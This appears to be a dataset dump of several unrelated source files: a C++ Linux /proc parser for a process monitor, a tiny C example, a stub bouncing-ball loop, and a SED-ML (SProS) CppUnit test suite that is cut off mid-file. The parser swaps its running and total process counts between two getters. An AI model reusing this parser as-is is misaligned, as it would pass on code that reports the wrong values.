text stringlengths 1 1.05M |
|---|
#include <dirent.h>
#include <unistd.h>
#include <string>
#include <vector>
#include <iostream>
#include <algorithm>
#include <cmath>
#include "linux_parser.h"
using std::stof;
using std::string;
using std::to_string;
using std::vector;
// LinuxParser Interfaces
void LinuxParser::ParseAll(){
ParseOsRelease();
ParseProcVersion();
ParseProcMeminfo();
ParseProcStat();
ParseUpTime();
ParseUid();
ParsePids();
ParseProcesses();
}
int LinuxParser::RunningProcesses() { return totalProcesses_; }
int LinuxParser::TotalProcesses(){ return runningProcesses_; }
long LinuxParser::UpTime() { return upTime_; }
float LinuxParser::CpuUtilization() {
// Calculate idle and non ide ov previous processor and current
int prev_idle = prev_processor_.idle + prev_processor_.iowait;
int idle = processor_.idle +processor_.iowait;
int prev_nonIdle = prev_processor_.user + prev_processor_.nice + prev_processor_.system
+ prev_processor_.irq + prev_processor_.softirq + prev_processor_.steal;
int nonIdle = processor_.user + processor_.nice + processor_.system
+ processor_.irq + processor_.softirq + processor_.steal;
// write back current to previous
prev_processor_ = processor_;
int prev_total = prev_idle + prev_nonIdle;
int total = idle + nonIdle;
int delta_total = total - prev_total;
int delta_idle = idle - prev_idle;
return float(delta_total - delta_idle) / delta_total;
}
float LinuxParser::MemoryUtilization() { return (totalMemory_ - freeMemory_) / totalMemory_; }
string LinuxParser::OperatingSystem() { return operatingSystem_; }
string LinuxParser::Kernel() { return linuxKernel_; }
std::vector<Process>& LinuxParser::Processes() {
sort(processes_.begin(), processes_.end());
return processes_;
}
// LinuxParser Functions
void LinuxParser::ParseOsRelease(){
string line, key, value;
std::ifstream filestream(kOSPath);
if (filestream.is_open()) {
while (std::getline(filestream, line)) {
std::replace(line.begin(), line.end(), ' ', '_');
std::replace(line.begin(), line.end(), '=', ' ');
std::replace(line.begin(), line.end(), '"', ' ');
std::istringstream linestream(line);
while (linestream >> key >> value) {
if (key == "PRETTY_NAME") {
std::replace(value.begin(), value.end(), '_', ' ');
operatingSystem_ = value;
}
}
}
}
}
void LinuxParser::ParseProcVersion(){
string os, version, kernel, line;
std::ifstream stream(kProcDirectory + kVersionFilename);
if (stream.is_open()) {
std::getline(stream, line);
std::istringstream linestream(line);
linestream >> os >> version >> kernel;
linuxKernel_ = kernel;
}
}
void LinuxParser::ParseProcMeminfo(){
std::ifstream filestream(kProcDirectory + kMeminfoFilename);
if (filestream.is_open()) {
string line;
string name, value, unit;
while(std::getline(filestream, line)){
std::istringstream linestream(line);
linestream >> name >> value >> unit;
if (name == "MemTotal:"){
totalMemory_ = std::stof(value);
}
if (name == "MemFree:"){
freeMemory_ = std::stof(value);
}
}
}
}
void LinuxParser::ParseProcStat(){
std::ifstream filestream(kProcDirectory + kStatFilename);
if (filestream.is_open()) {
string line;
while(std::getline(filestream, line)){
std::istringstream linestream(line);
std::istream_iterator<std::string> begin(linestream), end;
std::vector<std::string> line_vector(begin, end);
if (line_vector[0] == "processes"){
totalProcesses_ = std::stoi(line_vector[1]);
}
if (line_vector[0] == "procs_running"){
runningProcesses_ = std::stoi(line_vector[1]);
}
if (line_vector[0] == "cpu"){
// Transform string vector to int vector
std::vector<int> cpu_stats;
std::transform(line_vector.begin() + 1, line_vector.end(), std::back_inserter(cpu_stats),
[](const std::string& str) { return std::stoi(str); });
processor_ = Processor(cpu_stats);
}
}
}
}
void LinuxParser::ParseUpTime(){
std::ifstream filestream(kProcDirectory + kUptimeFilename);
string up_time, idle_time;
if (filestream.is_open()) {
string line;
std::getline(filestream, line);
std::istringstream linestream(line);
linestream >> up_time >> idle_time;
upTime_ = std::stol(up_time);
}
}
void LinuxParser::ParseUid(){
std::ifstream filestream(kPasswordPath);
if (filestream.is_open()) {
string line;
while(std::getline(filestream, line)){
std::string element;
std::vector<std::string> linevector;
std::istringstream linestream(line);
// Extract line to vector and create hashmap with uid and names
while(std::getline(linestream, element, ':')){ linevector.push_back(element); }
uids_.insert(std::make_pair(std::stoi(linevector[2]), linevector[0]));
}
}
}
// BONUS: Update this to use std::filesystem
void LinuxParser::ParsePids() {
DIR* directory = opendir(kProcDirectory.c_str());
struct dirent* file;
pids_.clear();
while ((file = readdir(directory)) != nullptr) {
// Is this a directory?
if (file->d_type == DT_DIR) {
// Is every character of the name a digit?
std::string filename(file->d_name);
if (std::all_of(filename.begin(), filename.end(), isdigit)) {
pids_.push_back(std::stoi(filename));
}
}
}
closedir(directory);
}
void LinuxParser::ParseProcesses(){
prev_processes_ = processes_;
processes_.clear();
for(auto pid : pids_){
Process process(pid, upTime_);
ParsePStatus(process);
ParsePStat(process);
ParsePCmdLine(process);
for (auto prev_process : prev_processes_){
if (prev_process.Pid() == pid){
process.setTotalCpuTicksPrev(prev_process.CpuTicks());
process.setSystemUpTimePrev(prev_process.UpTime());
}
}
processes_.push_back(process);
}
}
void LinuxParser::ParsePStatus(Process& process){
std::ifstream filestream(kProcDirectory + std::to_string(process.Pid()) + kStatusFilename);
if (filestream.is_open()) {
string line;
while(std::getline(filestream, line)){
std::istringstream linestream(line);
std::istream_iterator<std::string> begin(linestream), end;
std::vector<std::string> line_vector(begin, end);
if (line_vector[0] == "Uid:"){
process.setUser(uids_[std::stoi(line_vector[1])]);
}
if (line_vector[0] == "VmSize:"){
process.setRam(std::stol(line_vector[1]));
}
}
}
}
void LinuxParser::ParsePStat(Process& process){
std::ifstream filestream(kProcDirectory + std::to_string(process.Pid()) + kStatFilename);
if (filestream.is_open()) {
std::istream_iterator<std::string> begin(filestream), end;
std::vector<std::string> line_vector(begin, end);
process.setClockTicks(std::stol(line_vector[ProcessStatus::pstarttime]));
process.setTotalCpuTicks( std::stol(line_vector[ProcessStatus::putime])
+ std::stol(line_vector[ProcessStatus::pstime])
+ std::stol(line_vector[ProcessStatus::pcutime])
+ std::stol(line_vector[ProcessStatus::pcstime]));
}
}
void LinuxParser::ParsePCmdLine(Process& process){
std::ifstream filestream(kProcDirectory + std::to_string(process.Pid()) + kCmdlineFilename);
if (filestream.is_open()) {
string line;
std::getline(filestream, line);
process.setCmd(line);
}
}
|
#include <stdio.h>
int callee(int a) {
a += 120;
return a;
}
void caller(int a) {
int c = callee(a);
printf("%d\n", c);
}
|
# a ball that bounces around the edged of the screen
jmp .loop
.loop
jsr .moveball
jsr .delay
jmp .loop
# moves the ball position, bounces on collision
.moveball
# TODO
.jmr
# TODO delay clock so game loop isnt too fast
.delay
.jmr |
#include "SProSTest.hpp"
#include "CellMLBootstrap.hpp"
#ifndef BASE_DIRECTORY
#ifdef WIN32
#define BASE_DIRECTORY L"file:///" TESTDIR L"/test_xml/"
#else
#define BASE_DIRECTORY L"file://" TESTDIR L"/test_xml/"
#endif
#endif
#define SEDML_NS L"http://sed-ml.org/"
CPPUNIT_TEST_SUITE_REGISTRATION( SProSTest );
void
SProSTest::setUp()
{
}
void
SProSTest::tearDown()
{
}
// module SProS
// {
// interface Bootstrap
// : XPCOM::IObject
void
SProSTest::testSProSBootstrap()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
// {
// /**
// * Creates an empty SEDML element in a new document.
// */
// SEDMLElement createEmptySEDML();
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement, sb->createEmptySEDML());
CPPUNIT_ASSERT(es);
RETURN_INTO_OBJREF(ms, iface::SProS::ModelSet, es->models());
RETURN_INTO_OBJREF(msi, iface::SProS::BaseIterator, ms->iterateElements());
CPPUNIT_ASSERT(NULL == msi->nextElement().getPointer());
//
// /**
// * Parses SEDML from a specified URL, using the specified relative URL.
// */
// SEDMLElement parseSEDMLFromURI(in wstring uri, in wstring relativeTo);
es = already_AddRefd<iface::SProS::SEDMLElement>(sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(sims, iface::SProS::SimulationSet,
es->simulations());
RETURN_INTO_OBJREF(sim, iface::SProS::Simulation,
sims->getSimulationByIdentifier(L"simulation1"));
RETURN_INTO_WSTRING(kisaoID, sim->algorithmKisaoID());
CPPUNIT_ASSERT(kisaoID == L"KISAO:0000019");
//
// /**
// * Parses SEDML from a specified blob of text, using the specified base URI.
// */
// SEDMLElement parseSEDMLFromText(in wstring txt, in wstring baseURI);
#define TRIVIAL_SEDML \
L"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" \
L"<sedML xmlns=\"http://www.biomodels.net/sed-ml\">\n" \
L"</sedML>\n"
es = already_AddRefd<iface::SProS::SEDMLElement>(sb->parseSEDMLFromText(TRIVIAL_SEDML, L""));
ms = already_AddRefd<iface::SProS::ModelSet>(es->models());
msi = already_AddRefd<iface::SProS::BaseIterator>(ms->iterateElements());
CPPUNIT_ASSERT(NULL == msi->nextElement().getPointer());
//
// /**
// * Makes a SEDML structure from an element.
// */
// SEDMLElement makeSEDMLFromElement(in dom::Element el);
//
// /**
// * Serialises a SEDML element to text.
// */
// wstring sedmlToText(in SEDMLElement el);
RETURN_INTO_WSTRING(st, sb->sedmlToText(es));
RETURN_INTO_OBJREF(cb, iface::cellml_api::CellMLBootstrap,
CreateCellMLBootstrap());
RETURN_INTO_OBJREF(ul, iface::cellml_api::DOMURLLoader,
cb->localURLLoader());
RETURN_INTO_OBJREF(doc, iface::dom::Document,
ul->loadDocumentFromText(st.c_str()));
RETURN_INTO_OBJREF(de, iface::dom::Element,
doc->documentElement());
es = already_AddRefd<iface::SProS::SEDMLElement>(sb->makeSEDMLFromElement(de));
ms = already_AddRefd<iface::SProS::ModelSet>(es->models());
msi = already_AddRefd<iface::SProS::BaseIterator>(ms->iterateElements());
CPPUNIT_ASSERT(NULL == msi->nextElement().getPointer());
// };
}
//
// /**
// * Base is implemented by all types of element in SEDML.
// */
// interface Base
// : XPCOM::IObject
// {
void
SProSTest::testSProSBase()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement, sb->createEmptySEDML());
CPPUNIT_ASSERT(es);
// /**
// * The underlying DOM element.
// */
// readonly attribute dom::Element domElement;
RETURN_INTO_OBJREF(domel, iface::dom::Element, es->domElement());
CPPUNIT_ASSERT(NULL != domel);
RETURN_INTO_WSTRING(domelln, domel->localName());
CPPUNIT_ASSERT(domelln == L"sedML");
RETURN_INTO_OBJREF(doc, iface::dom::Document, domel->ownerDocument());
RETURN_INTO_OBJREF(noteEl, iface::dom::Element,
doc->createElementNS(SEDML_NS, L"notes"));
RETURN_INTO_OBJREF(noteText, iface::dom::Text,
doc->createTextNode(L"Hello world"));
noteEl->appendChild(noteText)->release_ref();
domel->appendChild(noteEl)->release_ref();
RETURN_INTO_OBJREF(annotationEl, iface::dom::Element,
doc->createElementNS(SEDML_NS, L"annotations"));
RETURN_INTO_OBJREF(annotationText, iface::dom::Text,
doc->createTextNode(L"Hello world"));
annotationEl->appendChild(annotationText)->release_ref();
domel->appendChild(annotationEl)->release_ref();
//
// /**
// * The list of all note elements associated with this element.
// */
// readonly attribute dom::NodeList notes;
RETURN_INTO_OBJREF(nl, iface::dom::NodeList, es->notes());
CPPUNIT_ASSERT_EQUAL(1, (int)nl->length());
RETURN_INTO_OBJREF(item0, iface::dom::Node, nl->item(0));
CPPUNIT_ASSERT(!CDA_objcmp(item0, noteText));
//
// /**
// * The list of all annotations associated with this element.
// */
// readonly attribute dom::NodeList annotations;
nl = already_AddRefd<iface::dom::NodeList>(es->annotations());
CPPUNIT_ASSERT_EQUAL(1, (int)nl->length());
item0 = already_AddRefd<iface::dom::Node>(nl->item(0));
CPPUNIT_ASSERT(!CDA_objcmp(item0, annotationText));
}
// };
//
// exception SProSException
// {
// };
//
// /**
// * The base interface for sets of elements in SEDML.
// */
// interface BaseSet
// : XPCOM::IObject
// {
void
SProSTest::testSProSBaseSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(ms, iface::SProS::ModelSet,
es->models());
// /**
// * Obtain an iterator for iterating through the elements.
// */
// BaseIterator iterateElements();
RETURN_INTO_OBJREF(it1, iface::SProS::BaseIterator,
ms->iterateElements());
RETURN_INTO_OBJREF(it2, iface::SProS::BaseIterator,
ms->iterateElements());
CPPUNIT_ASSERT(it1);
CPPUNIT_ASSERT(it2);
RETURN_INTO_OBJREF(firstBase, iface::SProS::Base, it1->nextElement());
CPPUNIT_ASSERT(firstBase);
//
// /**
// * Inserts an element into the set. Raises an exception if the element is
// * already in another set, or was created for the wrong document.
// */
// void insert(in Base b) raises(SProSException);
RETURN_INTO_OBJREF(newModel, iface::SProS::Model, es->createModel());
ms->insert(newModel);
RETURN_INTO_OBJREF(nextBase, iface::SProS::Base, it1->nextElement());
CPPUNIT_ASSERT(!CDA_objcmp(nextBase, newModel));
//
// /**
// * Removes an element from the set.
// */
// void remove(in Base b);
ms->remove(firstBase);
RETURN_INTO_OBJREF(firstBase2, iface::SProS::Base, it2->nextElement());
CPPUNIT_ASSERT(!CDA_objcmp(firstBase2, nextBase));
}
// };
//
// /**
// * The base interface for iterating sets of SEDML elements.
// */
// interface BaseIterator
// : XPCOM::IObject
// {
// /**
// * Fetch the next element from the iterator, or null if there are no more
// * elements.
// */
// Base nextElement();
// Tested above.
// };
//
// /**
// * The top-level SEDML element.
// */
// interface SEDMLElement
// : Base
// {
void
SProSTest::testSProSSEDMLElement()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
// /**
// * The SEDML level; defaults to the latest level supported by the
// * implementation.
// */
// attribute unsigned long level;
CPPUNIT_ASSERT_EQUAL(1, (int)es->level());
es->level(2);
CPPUNIT_ASSERT_EQUAL(2, (int)es->level());
//
// /**
// * The SEDML version; defaults to the latest version of SEDML supported by
// * the implementation.
// */
// attribute unsigned long version;
CPPUNIT_ASSERT_EQUAL(1, (int)es->version());
es->version(2);
CPPUNIT_ASSERT_EQUAL(2, (int)es->version());
//
// /**
// * The set of all models.
// */
// readonly attribute ModelSet models;
RETURN_INTO_OBJREF(ms, iface::SProS::ModelSet, es->models());
CPPUNIT_ASSERT(ms);
RETURN_INTO_OBJREF(msi, iface::SProS::ModelIterator, ms->iterateModels());
RETURN_INTO_OBJREF(m, iface::SProS::Model, msi->nextModel());
CPPUNIT_ASSERT(m);
RETURN_INTO_WSTRING(modelId, m->id());
CPPUNIT_ASSERT(modelId == L"model1");
//
// /**
// * The set of all tasks.
// */
// readonly attribute TaskSet tasks;
RETURN_INTO_OBJREF(ts, iface::SProS::TaskSet, es->tasks());
CPPUNIT_ASSERT(ts);
RETURN_INTO_OBJREF(tsi, iface::SProS::TaskIterator, ts->iterateTasks());
RETURN_INTO_OBJREF(t, iface::SProS::AbstractTask, tsi->nextTask());
CPPUNIT_ASSERT(t);
RETURN_INTO_WSTRING(taskId, t->id());
CPPUNIT_ASSERT(taskId == L"task1");
//
// /**
// * The set of all simulations.
// */
// readonly attribute SimulationSet simulations;
RETURN_INTO_OBJREF(ss, iface::SProS::SimulationSet, es->simulations());
CPPUNIT_ASSERT(ss);
RETURN_INTO_OBJREF(ssi, iface::SProS::SimulationIterator, ss->iterateSimulations());
RETURN_INTO_OBJREF(s, iface::SProS::Simulation, ssi->nextSimulation());
CPPUNIT_ASSERT(s);
RETURN_INTO_WSTRING(simulationId, s->id());
CPPUNIT_ASSERT(simulationId == L"simulation1");
//
// /**
// * The set of all generators.
// */
// readonly attribute DataGeneratorSet generators;
RETURN_INTO_OBJREF(gs, iface::SProS::DataGeneratorSet, es->generators());
CPPUNIT_ASSERT(gs);
RETURN_INTO_OBJREF(gsi, iface::SProS::DataGeneratorIterator, gs->iterateDataGenerators());
RETURN_INTO_OBJREF(g, iface::SProS::DataGenerator, gsi->nextDataGenerator());
CPPUNIT_ASSERT(g);
RETURN_INTO_WSTRING(generatorId, g->id());
CPPUNIT_ASSERT(generatorId == L"time");
//
// /**
// * The set of all outputs.
// */
// readonly attribute OutputSet outputs;
RETURN_INTO_OBJREF(os, iface::SProS::OutputSet, es->outputs());
CPPUNIT_ASSERT(os);
RETURN_INTO_OBJREF(osi, iface::SProS::OutputIterator, os->iterateOutputs());
RETURN_INTO_OBJREF(o, iface::SProS::Output, osi->nextOutput());
CPPUNIT_ASSERT(o);
RETURN_INTO_WSTRING(outputId, o->id());
CPPUNIT_ASSERT(outputId == L"plot1");
//
// /**
// * Creates a new Model. It is created with no parent and must be
// * explicitly added.
// */
// Model createModel();
{
RETURN_INTO_OBJREF(nm, iface::SProS::Model, es->createModel());
CPPUNIT_ASSERT(nm);
}
//
// /**
// * Creates a new UniformTimeCourse. It is created with no parent and must be
// * explicitly added.
// */
// UniformTimeCourse createUniformTimeCourse();
{
RETURN_INTO_OBJREF(utc, iface::SProS::UniformTimeCourse,
es->createUniformTimeCourse());
CPPUNIT_ASSERT(utc);
}
//
// /**
// * Creates a new Task. It is created with no parent and must be
// * explicitly added.
// */
// Task createTask();
{
RETURN_INTO_OBJREF(nt, iface::SProS::Task,
es->createTask());
CPPUNIT_ASSERT(nt);
}
//
// /**
// * Creates a new DataGenerator. It is created with no parent and must be
// * explicitly added.
// */
// DataGenerator createDataGenerator();
{
RETURN_INTO_OBJREF(dg, iface::SProS::DataGenerator,
es->createDataGenerator());
CPPUNIT_ASSERT(dg);
}
//
// /**
// * Creates a new Plot2D. It is created with no parent and must be
// * explicitly added.
// */
// Plot2D createPlot2D();
{
RETURN_INTO_OBJREF(p2d, iface::SProS::Plot2D,
es->createPlot2D());
CPPUNIT_ASSERT(p2d);
}
//
// /**
// * Creates a new Plot3D. It is created with no parent and must be
// * explicitly added.
// */
// Plot3D createPlot3D();
{
RETURN_INTO_OBJREF(p3d, iface::SProS::Plot3D,
es->createPlot3D());
CPPUNIT_ASSERT(p3d);
}
//
// /**
// * Creates a new Report. It is created with no parent and must be
// * explicitly added.
// */
// Report createReport();
{
RETURN_INTO_OBJREF(r, iface::SProS::Report,
es->createReport());
CPPUNIT_ASSERT(r);
}
//
// /**
// * Creates a new ComputeChange. It is created with no parent and must be
// * explicitly added.
// */
// ComputeChange createComputeChange();
{
RETURN_INTO_OBJREF(cc, iface::SProS::ComputeChange,
es->createComputeChange());
CPPUNIT_ASSERT(cc);
}
//
// /**
// * Creates a new ChangeAttribute. It is created with no parent and must be
// * explicitly added.
// */
// ChangeAttribute createChangeAttribute();
{
RETURN_INTO_OBJREF(ca, iface::SProS::ChangeAttribute,
es->createChangeAttribute());
CPPUNIT_ASSERT(ca);
}
//
// /**
// * Creates a new AddXML. It is created with no parent and must be
// * explicitly added.
// */
// AddXML createAddXML();
{
RETURN_INTO_OBJREF(ax, iface::SProS::AddXML,
es->createAddXML());
CPPUNIT_ASSERT(ax);
}
//
// /**
// * Creates a new RemoveXML. It is created with no parent and must be
// * explicitly added.
// */
// RemoveXML createRemoveXML();
{
RETURN_INTO_OBJREF(rx, iface::SProS::RemoveXML,
es->createRemoveXML());
CPPUNIT_ASSERT(rx);
}
//
// /**
// * Creates a new ChangeXML. It is created with no parent and must be
// * explicitly added.
// */
// ChangeXML createChangeXML();
{
RETURN_INTO_OBJREF(cx, iface::SProS::ChangeXML,
es->createChangeXML());
CPPUNIT_ASSERT(cx);
}
//
// /**
// * Creates a new Variable. It is created with no parent and must be
// * explicitly added.
// */
// Variable createVariable();
{
RETURN_INTO_OBJREF(var, iface::SProS::Variable,
es->createVariable());
CPPUNIT_ASSERT(var);
}
//
// /**
// * Creates a new Parameter. It is created with no parent and must be
// * explicitly added.
// */
// Parameter createParameter();
{
RETURN_INTO_OBJREF(p, iface::SProS::Parameter,
es->createParameter());
CPPUNIT_ASSERT(p);
}
//
// /**
// * Creates a new Curve. It is created with no parent and must be
// * explicitly added.
// */
// Curve createCurve();
{
RETURN_INTO_OBJREF(curve, iface::SProS::Curve,
es->createCurve());
CPPUNIT_ASSERT(curve);
}
//
// /**
// * Creates a new Surface. It is created with no parent and must be
// * explicitly added.
// */
// Surface createSurface();
{
RETURN_INTO_OBJREF(surf, iface::SProS::Surface,
es->createSurface());
CPPUNIT_ASSERT(surf);
}
//
// /**
// * Creates a new DataSet. It is created with no parent and must be
// * explicitly added.
// */
// DataSet createDataSet();
{
RETURN_INTO_OBJREF(ds, iface::SProS::DataSet,
es->createDataSet());
CPPUNIT_ASSERT(ds);
}
}
// };
//
// /**
// * The base interface for all elements with name attributes.
// */
// interface NamedElement
// : Base
// {
// /**
// * The human readable name of the element (not guaranteed to be unique).
// */
// attribute wstring name;
// Tested below.
// };
//
// /**
// * The base type for all sets of elements with name attributes.
// */
// interface NamedElementSet
// : BaseSet
// {
void
SProSTest::testSProSNamedElementSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(os, iface::SProS::OutputSet,
es->outputs());
// /**
// * Iterate through all named elements.
// */
// NamedElementIterator iterateNamedElement();
RETURN_INTO_OBJREF(nei, iface::SProS::NamedElementIterator,
os->iterateNamedElement());
CPPUNIT_ASSERT(nei);
//
// /* Note: Names aren't guaranteed to be unique, they are for human use, so
// * we don't provide a way to find by name.
// */
// };
//
// /**
// * The base type of all iterators of elements with name attributes.
// */
// interface NamedElementIterator
// : BaseIterator
// {
// /**
// * Fetch the next named element, or null if there are no more elements.
// */
// NamedElement nextNamedElement();
RETURN_INTO_OBJREF(ne1, iface::SProS::NamedElement, nei->nextNamedElement());
CPPUNIT_ASSERT(ne1);
{
RETURN_INTO_WSTRING(n, ne1->name());
CPPUNIT_ASSERT(n == L"BioModel 3");
}
ne1->name(L"BioModel 4");
{
RETURN_INTO_WSTRING(n, ne1->name());
CPPUNIT_ASSERT(n == L"BioModel 4");
}
nei->nextNamedElement()->release_ref();
nei->nextNamedElement()->release_ref();
CPPUNIT_ASSERT(nei->nextNamedElement().getPointer() == NULL);
// };
}
//
// /**
// * The base interface for all elements with name and id attributes.
// */
// interface NamedIdentifiedElement
// : NamedElement
// {
// /**
// * The unique identifier for the element.
// */
// attribute wstring id;
// Tested below...
// };
//
// /**
// * The base type for all sets of named, identified elements.
// */
// interface NamedIdentifiedElementSet
// : NamedElementSet
// {
void
SProSTest::testSProSNamedIdentifiedElementSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(dgs, iface::SProS::NamedIdentifiedElementSet,
es->generators());
// /**
// * Iterates through all the named, identified elements...
// */
// NamedIdentifiedElementIterator iterateNamedIdentifiedElements();
RETURN_INTO_OBJREF(niei, iface::SProS::NamedIdentifiedElementIterator,
dgs->iterateNamedIdentifiedElements());
//
// /**
// * Finds an element by identifier
// */
// NamedIdentifiedElement getNamedIdentifiedElementByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(nie1, iface::SProS::NamedIdentifiedElement,
dgs->getNamedIdentifiedElementByIdentifier(L"time"));
CPPUNIT_ASSERT(nie1);
{
RETURN_INTO_WSTRING(id1, nie1->id());
CPPUNIT_ASSERT(id1 == L"time");
}
nie1->id(L"time2");
{
RETURN_INTO_WSTRING(id1, nie1->id());
CPPUNIT_ASSERT(id1 == L"time2");
}
// };
//
// /**
// * Allows named, identified elements to be iterated.
// */
// interface NamedIdentifiedElementIterator
// : NamedElementIterator
// {
// /**
// * Fetches the next named, identified element, or null if there are no more
// * such elements.
// */
// NamedIdentifiedElement nextNamedIdentifiedElement();
RETURN_INTO_OBJREF(nie2, iface::SProS::NamedIdentifiedElement,
niei->nextNamedIdentifiedElement());
CPPUNIT_ASSERT(nie2);
RETURN_INTO_WSTRING(id2, nie2->id());
CPPUNIT_ASSERT(id2 == L"time2");
RETURN_INTO_OBJREF(nie3, iface::SProS::NamedIdentifiedElement,
niei->nextNamedIdentifiedElement());
CPPUNIT_ASSERT(nie3);
RETURN_INTO_WSTRING(id3, nie3->id());
CPPUNIT_ASSERT(id3 == L"C1");
}
// };
//
// /**
// * A set of models.
// */
// interface ModelSet
// : NamedIdentifiedElementSet
// {
void
SProSTest::testSProSModel()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(ms, iface::SProS::ModelSet,
es->models());
// /**
// * Iterates through all models in the set.
// */
// ModelIterator iterateModels();
RETURN_INTO_OBJREF(mi, iface::SProS::ModelIterator, ms->iterateModels());
CPPUNIT_ASSERT(mi);
//
// /**
// * Search for a model in the set by identifier.
// */
// Model getModelByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(m1, iface::SProS::Model, ms->getModelByIdentifier(L"model1"));
CPPUNIT_ASSERT(m1);
// };
//
// /**
// * An iterator of models.
// */
// interface ModelIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Fetches the next model, or null if there are no more.
// */
// Model nextModel();
RETURN_INTO_OBJREF(m2, iface::SProS::Model, mi->nextModel());
CPPUNIT_ASSERT(!CDA_objcmp(m1, m2));
// };
//
// /**
// * A SEDML reference to a particular model.
// */
// interface Model
// : NamedIdentifiedElement
// {
// /** The language the model is in. */
// attribute wstring language;
{
RETURN_INTO_WSTRING(lang, m1->language());
CPPUNIT_ASSERT(lang == L"SBML");
}
m1->language(L"CellML");
{
RETURN_INTO_WSTRING(lang, m1->language());
CPPUNIT_ASSERT(lang == L"CellML");
}
//
// /** The location of the model. */
// attribute wstring source;
{
RETURN_INTO_WSTRING(src, m1->source());
CPPUNIT_ASSERT(src == L"urn:miriam:biomodels.db:BIOMD0000000003");
}
m1->source(L"http://example.org/mymodel.xml");
{
RETURN_INTO_WSTRING(src, m1->source());
CPPUNIT_ASSERT(src == L"http://example.org/mymodel.xml");
}
//
// /**
// * The set of changes to make to the model.
// */
// readonly attribute ChangeSet changes;
RETURN_INTO_OBJREF(cs, iface::SProS::ChangeSet,
m1->changes());
CPPUNIT_ASSERT(cs);
// };
}
//
// /**
// * A set of simulations.
// */
// interface SimulationSet
// : NamedIdentifiedElementSet
// {
void
SProSTest::testSProSSimulationSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(ss, iface::SProS::SimulationSet,
es->simulations());
// /**
// * Iterates through the simulations in the set.
// */
// SimulationIterator iterateSimulations();
RETURN_INTO_OBJREF(ssi, iface::SProS::SimulationIterator, ss->iterateSimulations());
CPPUNIT_ASSERT(ssi);
//
// /**
// * Finds a simulation in the set by identifier.
// */
// Simulation getSimulationByIdentifier(in wstring idMatch);
RETURN_INTO_OBJREF(s1, iface::SProS::Simulation, ss->getSimulationByIdentifier(L"simulation1"));
CPPUNIT_ASSERT(s1);
// };
//
// /**
// * An iterator of simulations.
// */
// interface SimulationIterator
// : NamedIdentifiedElementIterator
// {
// /**
// * Fetches the next Simulation, or null if there are no more.
// */
// Simulation nextSimulation();
RETURN_INTO_OBJREF(s2, iface::SProS::Simulation, ssi->nextSimulation());
CPPUNIT_ASSERT(!CDA_objcmp(s1, s2));
// };
//
// /**
// * A SEDML simulation.
// */
// interface Simulation
// : NamedIdentifiedElement
// {
// /**
// * The KISAO identifier for the corresponding algorithm.
// */
// attribute wstring algorithmKisaoID;
{
RETURN_INTO_WSTRING(ksid, s1->algorithmKisaoID());
CPPUNIT_ASSERT(ksid == L"KISAO:0000019");
}
s1->algorithmKisaoID(L"KISAO:12345");
{
RETURN_INTO_WSTRING(ksid, s1->algorithmKisaoID());
CPPUNIT_ASSERT(ksid == L"KISAO:12345");
}
// /**
// * The list of algorithm parameters.
// */
// readonly attribute AlgorithmParameterSet algorithmParameters;
ObjRef<iface::SProS::AlgorithmParameterSet> params(s1->algorithmParameters());
CPPUNIT_ASSERT(params != NULL);
ObjRef<iface::SProS::AlgorithmParameterIterator> paramIt
(params->iterateAlgorithmParameters());
ObjRef<iface::SProS::AlgorithmParameter> firstParam(paramIt->nextAlgorithmParameter());
CPPUNIT_ASSERT(firstParam != NULL);
ObjRef<iface::SProS::AlgorithmParameter> nullParam(paramIt->nextAlgorithmParameter());
CPPUNIT_ASSERT(nullParam == NULL);
// };
// /**
// * An algorithm parameter
// */
// interface AlgorithmParameter
// : Base
// {
// /**
// * The KISAO ID of the parameter.
// */
// attribute wstring kisaoID;
CPPUNIT_ASSERT(firstParam->kisaoID() == L"KISAO:0000211");
firstParam->kisaoID(L"KISAO:0000212");
CPPUNIT_ASSERT(firstParam->kisaoID() == L"KISAO:0000212");
//
// /**
// * The value of the parameter.
// */
// attribute wstring value;
CPPUNIT_ASSERT(firstParam->value() == L"23");
firstParam->value(L"24");
CPPUNIT_ASSERT(firstParam->value() == L"24");
// };
//
// /**
// * A Uniform Time Course simulation.
// */
// interface UniformTimeCourse
// : Simulation
// {
DECLARE_QUERY_INTERFACE_OBJREF(utc, s1, SProS::UniformTimeCourse);
CPPUNIT_ASSERT(utc);
// /**
// * The time the simulation starts.
// */
// attribute double initialTime;
